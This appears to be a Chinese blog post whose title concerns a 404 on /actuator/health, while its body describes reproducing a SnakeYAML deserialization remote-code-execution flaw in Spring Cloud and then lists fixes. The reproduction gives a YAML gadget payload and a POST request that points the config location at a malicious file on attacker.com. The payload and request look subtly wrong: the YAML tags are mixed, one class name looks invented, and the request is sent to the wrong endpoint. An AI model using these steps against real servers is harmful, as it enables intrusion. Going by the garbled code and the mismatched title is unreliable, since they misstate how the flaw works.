spring cloud2.0版本以后 post 访问 /actuator/health 时404问题

### 漏洞概述 Spring Cloud 中的 SnakeYAML 反序列化漏洞是由于 Spring Cloud 在处理外部配置时，允许通过 `spring.cloud.bootstrap.location` 参数指定远程 YML 文件 URL。当触发 refresh 请求加载该恶意 YML 文件时，SnakeYAML 解析器会尝试反序列化其中的内容，从而可能拉取并实例化恶意 JAR 包中的类，导致远程代码执行（RCE）。 ### 漏洞复现步骤 1. **准备攻击环境** - 安装一个存在该漏洞的 Spring Cloud 版本（如旧版本未修复此问题）。 - 配置 Spring Cloud 应用程序以支持远程配置加载，确保 `spring-cloud-config-client` 依赖已包含在项目中。 - 启动应用程序，并确保可以通过 `/actuator/refresh` 端点触发配置刷新操作。 2. **构造恶意 YML 文件** - 创建一个恶意 YML 文件，利用 SnakeYAML 的反序列化特性注入恶意类。例如： ```yaml !!javax.script.ScriptEngineManager [!javax.script.ScriptEngineFactoryImpl [null]] ``` 这段 YAML 将尝试加载 `ScriptEngineManager` 并使用恶意实现类，进而执行任意代码[^1]。 3. **托管恶意文件** - 将构造好的恶意 YML 文件上传到一个可通过 HTTP 访问的服务器上，例如 GitHub Pages 或其他 Web 服务器。 4. **触发漏洞** - 使用以下请求触发漏洞，将 `spring.cloud.bootstrap.location` 设置为指向恶意 YML 文件的 URL： ``` POST /actuator/refresh Content-Type: application/json { "name": "test", "value": "http://attacker.com/malicious.yml" } ``` 此请求将强制 Spring Cloud 应用程序重新加载配置，并解析恶意 YML 文件，最终导致远程代码执行[^1]。 5. **验证漏洞影响** - 观察目标系统是否成功执行了恶意代码，例如通过反弹 Shell 或创建测试文件等方式确认漏洞利用是否成功。 ### 修复方法 1. **升级 Spring Cloud 版本** - 升级到 Spring Cloud Greenwich SR6 或更高版本，这些版本已经修复了相关的 SnakeYAML 反序列化问题。确保所有依赖项都更新至最新安全版本。 2. **禁用不必要的端点** - 如果不需要使用 `/actuator/refresh` 等敏感端点，可以在 `application.yml` 或 `application.properties` 中禁用它们： ```yaml management: endpoints: web: exposure: include: health,info ``` 3. **限制外部配置来源** - 不要允许从不可信的远程位置加载配置文件。可以设置 `spring.cloud.config.uri` 为可信的内部服务地址，避免用户自定义配置源。 4. **启用安全防护机制** - 对于生产环境，建议启用 Spring Security，限制对 `/actuator` 端点的访问权限，仅允许授权用户进行操作。 5. **使用白名单策略** - 如果必须支持远程配置加载，应实施严格的白名单策略，只允许特定域名或 IP 地址的配置源。 --- ###